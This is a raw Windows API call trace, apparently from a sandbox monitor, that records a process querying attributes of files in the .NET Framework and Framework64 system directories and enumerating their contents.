	[0087.934] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.rsp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\vbc.rsp"), fInfoLevelId=0x0, lpFileInformation=0x124f3c78 | out: lpFileInformation=0x124f3c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeabf4000, ftCreationTime.dwHighDateTime=0x1cac5e7, ftLastAccessTime.dwLowDateTime=0x9f266f40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xeabf4000, ftLastWriteTime.dwHighDateTime=0x1cac5e7, nFileSizeHigh=0x0, nFileSizeLow=0x5bb)) returned 1
	[0087.934] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\webengine.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\webengine.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3cc8 | out: lpFileInformation=0x124f3cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b660840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x60a8)) returned 1
	[0087.935] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\webengine4.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\webengine4.dll"), fInfoLevelId=0x0, lpFileInformation=0x124f3d18 | out: lpFileInformation=0x124f3d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b6acb00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7cea8)) returned 1
	[0087.936] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64" (normalized: "c:\\windows\\microsoft.net\\framework64"), fInfoLevelId=0x0, lpFileInformation=0x124f3d68 | out: lpFileInformation=0x124f3d68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89f82540, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x89f82540, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0087.936] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64" (normalized: "c:\\windows\\microsoft.net\\framework64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.936] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89f82540, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x89f82540, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.936] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89f82540, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x89f82540, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ce80ba, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb2ce80ba, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8c2f7a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbscmp10.dll", cAlternateFileName="")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2d34374, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb2d34374, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8c428543, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbscmp20_mscorwks.dll", cAlternateFileName="")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2dcc8e8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb2dcc8e8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8c44e6a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbscmp20_perfcounter.dll", cAlternateFileName="")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e64e5c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb2e64e5c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8c44e6a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedReg12.dll", cAlternateFileName="")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcde33fe0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v2.0.50727", cAlternateFileName="V20~1.507")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x95314a8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x95314a8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcde33fe0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0.30319", cAlternateFileName="V40~1.303")) returned 1
	[0087.937] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.937] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.937] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\SharedReg12.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\sharedreg12.dll"), fInfoLevelId=0x0, lpFileInformation=0x125c0058 | out: lpFileInformation=0x125c0058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e64e5c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb2e64e5c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8c44e6a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3740)) returned 1
	[0087.937] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\sbscmp10.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\sbscmp10.dll"), fInfoLevelId=0x0, lpFileInformation=0x125c00a8 | out: lpFileInformation=0x125c00a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ce80ba, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb2ce80ba, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8c2f7a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3740)) returned 1
	[0087.938] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\sbscmp20_mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\sbscmp20_mscorwks.dll"), fInfoLevelId=0x0, lpFileInformation=0x125c00f8 | out: lpFileInformation=0x125c00f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2d34374, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb2d34374, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8c428543, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3740)) returned 1
	[0087.938] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\sbscmp20_perfcounter.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\sbscmp20_perfcounter.dll"), fInfoLevelId=0x0, lpFileInformation=0x125c0148 | out: lpFileInformation=0x125c0148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2dcc8e8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb2dcc8e8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8c44e6a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3740)) returned 1
	[0087.939] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727"), fInfoLevelId=0x0, lpFileInformation=0x125c0198 | out: lpFileInformation=0x125c0198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcde33fe0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0xc000)) returned 1
	[0087.939] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.939] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcde33fe0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.940] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcde33fe0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedcb1c8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedcb1c8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31f6f14, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb31f6f14, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8f96aeb7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.dll", cAlternateFileName="")) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33bff70, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb33bff70, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8f991015, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2fd48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdoNetDiag.dll", cAlternateFileName="")) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3516bb5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3516bb5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x8f9dd2d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x177b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adonetdiag.mof", cAlternateFileName="")) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b53d2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92b53d2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92b53d2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ed48, dwReserved0=0x0, dwReserved1=0x0, cFileName="alink.dll", cAlternateFileName="")) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bdea4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84bdea4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84bdea4f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLaunch.exe", cAlternateFileName="")) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfef47f4c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfef47f4c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASP.NETWebAdminFiles", cAlternateFileName="ASP~1.NET")) returned 1
	[0087.943] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfef479a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdfef479a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x951a3975, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspnet.config", cAlternateFileName="ASPNET~1.CON")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb39ff8b2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb39ff8b2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x951c9ad3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xd1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet.mof", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a25a0f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3a25a0f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95b4f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet.mof.uninstall", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb463287c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb463287c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96546ded, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AspNetMMCExt.dll", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a4bb6c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3a4bb6c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95b753b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_compiler.exe", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b3039a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3b3039a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95c33a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5548, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_filter.dll", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c14bc8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3c14bc8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95d3e419, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_isapi.dll", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9335c779, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9335c779, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9335c779, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9358, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspnet_perf.dll", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3db7ac7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3db7ac7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95febcb5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1989, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_perf.h", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dddc24, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3dddc24, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x960f6647, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc8142, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_perf.ini", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e5003b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3e5003b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96168a61, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc7a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_perf2.ini", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f0e70c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3f0e70c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9618ebbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_rc.dll", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f80b23, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3f80b23, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x961b4d1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_regbrowsers.exe", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb40d7768, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb40d7768, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x961dae7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_regiis.exe", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4195e39, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb4195e39, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9624d295, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_regsql.exe", cAlternateFileName="")) returned 1
